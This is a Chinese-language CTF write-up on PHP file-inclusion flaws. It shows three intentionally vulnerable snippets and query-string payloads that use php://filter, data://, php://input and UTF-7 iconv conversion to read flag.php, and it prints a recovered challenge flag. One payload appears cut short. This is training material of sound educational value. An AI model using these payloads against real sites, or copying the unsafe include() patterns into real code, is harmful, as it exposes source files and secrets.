文件包含

CTF文件包含

1、绕过file_get_contents

漏洞代码

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

需要绕过file_get_contents($file2) === "hello ctf",才能利用文件包含漏洞

可以使用php://input或者data伪协议进行绕过

payload1

file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

payload2

file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

添加post数据:hello ctf

2、php://被禁用

漏洞代码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

利用data伪协议进行绕过,执行php代码,执行系统命令,读取文件。

payload

page=data://text/plain,

3、利用iconv.*进行绕过

靶场:https://adworld.xctf.org.cn/challenges/details?hash=ceb014e8-3a5a-11ed-abf3-fa163e4fa609&task_category_id=3

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

过滤了很多,可以用iconv

payload:

filename=php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

得到转化后的字符串

+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-ec0e4cf23f0b29f61d88299a69b0fb80+AH0'+ADs

再将其转为UTF-8即可

<?php
$a = "+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-ec0e4cf23f0b29f61d88299a69b0fb80+AH0'+ADs";
$b = iconv("UTF-7","UTF-8",$a);
echo $b;
?>

// <?php $flag='cyberpeace{ec0e4cf23f0b29f61d88299a69b0fb80}';

test文件